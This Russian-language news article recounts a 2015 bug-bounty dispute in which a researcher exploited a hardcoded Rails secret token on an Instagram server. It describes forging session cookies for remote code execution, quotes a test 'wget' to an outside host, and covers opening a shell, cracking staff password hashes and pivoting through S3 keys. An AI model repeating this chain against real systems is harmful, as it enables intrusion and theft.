Независимый специалист по безопасности Уэсли Вайнберг (Wesley Wineberg) подвергся серьёзному давлению со стороны компании Facebook. Она не заплатила за найденные уязвимости на сервере Instagram, да ещё угрожает судебным иском.
Уэсли нашёл уязвимость в инфраструктуре Instagram, с помощью которой скачал практически всё ценное, что есть на серверах Instagram: исходный код последней версии, SSL-сертификаты и приватные ключи для Instagram.com, ключи для подписи куков аутентификации, учётные данные от почтового сервера и ключи для некоторых других продуктов, в том числе для подписи мобильных приложений под iOS и Android.
Вайнберг также получил доступ к аккаунтам сотрудников и их парольным хешам, некоторые из которых хакер взломал, и получил доступ к нескольким хранилищам (бакетам) Amazon S3 с пользовательскими фотографиями и другими приватными данными, которые вызывают подозрения в нарушении конфиденциальности пользователей со стороны Facebook.
Вся эта эпопея началась ещё в октябре с того, что коллега Вайнберга сообщил ему об открытом веб-сервере https://sensu.instagram.com
, который работает на инстансе Amazon EC2 и крутит фреймворк для мониторинга Sensu. О баге с открытой админкой сервера в Facebook уже сообщили, но коллега намекнул, что заметил там баг с удалённым сбросом пароля в приложении Ruby on Rails (CVE-2013-3221), подробнее см. статью о способах атаки на Ruby on Rails.
Хакер предположил, что такую же уязвимость можно найти в другом коде Instagram. Он изучил их репозиторий на Github, но ничего такого не обнаружил. Но зато нашёл кое-что получше. В файле secret_token.rb на гитхабе был прошит секретный токен Rails. В статье по ссылке выше подробно описано, как с помощью такого токена не только сфабриковать сессионные куки, но и инициировать десериализацию сессионных куков в Rails, чтобы напрямую запустить удалённое исполнение кода.
Уэсли сконфигурировал локальный инстанс Rails и воспользовался эксплоитом, который лежит на гитхабе: rails-3.2.10-remote-code-execution.md, чтобы сгенерировать объект, который спрячет в куки.
Полученный объект он подписал секретным ключом от Sensu-Admin — и получил куки от Sensu-Admin. К радости исследователя, сервер принял куки, запустил десериализацию, подтвердил подпись и запустил на исполнение объект, спрятанный внутри.
Это была команда wget http://exfiltrated.com/test-instagram
— и сервер sensu.instagram.com послушно обратился к хакерскому серверу, что явно указало на то, что эксплоит работает.
Имея на руках работающий RCE, хакер запустил удалённый шелл.
Получив полное подтверждение бага, 21 октября 2015 года Вайнберг сообщил о двух уязвимостях в Facebook, рассчитывая на вознаграждение. В своём блоге он вспоминает статью 2012 года в Bloomberg, где руководитель отдела безопасности Facebook рассказывает о своей программе вознаграждений за найденные уязвимости и говорит: «Если найдут баг на миллион долларов, мы выплатим его».
Чтобы доказать всю серьёзность бага, исследователь продолжил изучать содержимое сервера Instagram, в том числе скачал к себе локальную базу Postgres с информацией об аккаунтах 60 сотрудников и паролями, захешированными bcrypt. Такие хеши очень трудно подобрать: у хакера на компьютере брутфорс шёл со скоростью всего 250 попыток в секунду. На удивление, некоторые пароли оказались настолько лёгкими, что атака по словарю дала эффект уже через несколько минут.
- Шесть паролей "changeme"
- Три пароля совпадали с именем пользователя
- Два пароля "password"
- Один пароль "instagram"
Отойдя от шока, хакер выбрал один из паролей и залогинился в веб-интерфейс.
После этого он отправил в Facebook информацию о слабых пользовательских аккаунтах (22 октября).
Ожидая положенное вознаграждение от Facebook, специалист изучил содержимое конфигурационного файла /etc/sensu/config.json
, там были ключевые пары от 82 контейнеров Amazon S3. Доступ был закрыт ко всем, кроме одного. Но в этом единственном контейнере он нашёл ещё одну ключевую пару, которая давала доступ ко всем 82-м остальным контейнерам.
Facebook оперативно отреагировал, спрятал сервер Sensu за файрвол и 16 ноября выплатил вознаграждение $2500 за первый из трёх багов. В то же время 28 октября Вайнберг получил письмо, где ему отказали в выплате вознаграждения за второй и третий баги, потому что уязвимость со слабыми пользовательскими аккаунтами «выходит за рамки действия программы вознаграждения за уязвимости».
Разумеется, специалист немного обиделся. Получить всего $2500 за уязвимость с удалённым исполнением кода — это почти оскорбительно мало. Он опубликовал в своём блоге описание взлома и несколько почтовых писем из переписки с отделом безопасности Facebook.
После этого ситуация начала накаляться. Директор по безопасности Facebook Алекс Стамос позвонил директору компании Synack, с которой Вайнберг работает по контракту. Он сказал, что произошёл несанкционированный доступ к базе данных сотрудников Instagram и конфиденциальной информации пользователей. Эта информация должна быть немедленно удалена. Стамос сказал, что не хочет сообщать юристам об инциденте, но в случае необходимости процесс против Вайнберга будет запущен.
В ответ на сообщение в блоге специалиста по безопасности Алекс Стамос тоже опубликовал заявление, где назвал действия хакера «неавторизованными и неэтичными». Он также предположил, что Вайнберг недоволен низким размером вознаграждения — этим объясняется его поведение.
В то же время специалист подтвердил, что удалил все данные, полученные с сервера S3 и никому их не показывал. Он добавил, что на инстаграмовском
Автор: alizar